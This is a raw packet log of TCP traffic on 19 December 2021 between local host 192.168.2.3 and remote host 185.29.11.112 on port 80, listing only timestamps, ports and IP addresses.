Dec 19, 2021 21:13:25.974862099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.974899054 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.974901915 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.974908113 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.974944115 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.974982023 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975020885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975059986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975096941 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975130081 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.975140095 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.975151062 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975203037 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975241899 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975241899 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.975277901 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.975281954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.975363970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.975372076 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.976435900 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.976605892 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.978563070 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.978692055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.978751898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.978790045 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.978809118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.978818893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.978842974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.978856087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.978934050 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997350931 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997392893 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997432947 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997473001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997512102 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997519970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997541904 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997546911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997566938 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997586966 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997610092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997648954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997654915 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997678995 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997689009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997715950 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997728109 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997792959 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997795105 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997803926 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.997848988 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997889996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997926950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997965097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.997965097 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.998003006 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.998003960 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.998044968 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.998085022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.998091936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.998100996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.998115063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.998121977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.998157024 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.998161077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.998353004 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999032021 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999177933 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999228001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999280930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999332905 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999371052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999372959 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999387980 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999412060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999469042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999504089 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999512911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999526024 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999567032 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999603033 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999608994 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999629974 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999644041 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999681950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999689102 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999722004 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.999759912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999767065 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.999819040 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.000644922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.000746965 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.004393101 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.004435062 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.004493952 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.004494905 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.004534006 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.004570007 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.004578114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.004580021 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.004654884 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022027016 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022068977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022109032 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022126913 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022150993 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022192001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022238970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022248030 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022248983 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022274017 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022286892 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022340059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022371054 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022392988 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022433996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022471905 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022474051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022512913 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022526979 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022553921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022568941 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022593975 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022633076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022672892 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022708893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022716999 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022725105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022758007 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022775888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022814035 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022828102 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022854090 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022881985 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.022893906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.022973061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.023319006 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023360968 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023417950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023458004 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023472071 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.023498058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023528099 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.023626089 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.023821115 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023859024 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023899078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023952961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.023987055 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.024003029 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.024041891 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.024055958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.024080992 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.024122953 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.024162054 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.024172068 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.024285078 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.024966955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.026635885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.028814077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.028879881 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.028922081 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.028959036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.028997898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.029067039 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.029118061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.029126883 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046509027 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046564102 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046606064 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046648026 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046685934 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046686888 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046708107 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046713114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046720028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046729088 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046756029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046785116 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046833992 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046874046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046889067 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046909094 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.046915054 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046953917 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.046958923 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047007084 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047040939 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047049999 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047068119 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047111988 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047142982 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047153950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047154903 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047194958 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047220945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047230005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047234058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047274113 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047275066 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047312975 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047349930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047352076 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047383070 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047389984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047430992 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047445059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047530890 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047544956 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047570944 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047604084 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047610044 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047638893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047641993 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047681093 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047694921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.047759056 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.047768116 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.048110008 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048199892 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048259974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048285961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.048306942 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048347950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048372984 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.048382998 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.048386097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048427105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048435926 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.048465967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.048552990 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.048562050 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.050252914 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.050419092 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.053072929 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.053117037 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.053154945 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.053194046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.053209066 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.053217888 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.053231955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.053282976 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.053438902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071527958 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071573973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071614027 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071655035 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071670055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071676970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071712017 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071753025 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071759939 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071763039 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071769953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071815968 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071841955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071882010 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071919918 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071949005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.071960926 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.071999073 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072000980 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072055101 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072060108 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072094917 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072118998 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072128057 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072168112 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072180033 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072221041 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072259903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072293043 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072299957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072355986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072386026 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072396040 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072463036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072475910 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072518110 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072545052 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072559118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072597980 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072611094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072654009 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072663069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072700977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072740078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072742939 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072771072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072781086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072835922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072916031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072920084 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072954893 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.072962046 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072992086 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.072994947 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073035955 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.073049068 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073101044 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073139906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073153019 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.073177099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073215961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073252916 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073290110 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.073299885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.073317051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.073343039 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.073426008 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.074178934 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.074317932 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.076828003 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.076890945 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.076929092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.076981068 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.077007055 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.077016115 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.077033043 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.077084064 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.078767061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.096882105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.096934080 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.096971989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.097163916 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.097210884 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.097743034 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.097810984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.097867012 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.097872972 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.097887993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.097903967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.097943068 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.097978115 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.097981930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.097989082 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.098022938 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.098059893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:26.098063946 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:26.098068953 CET	49789	80	192.168.2.3	185.29.11.112
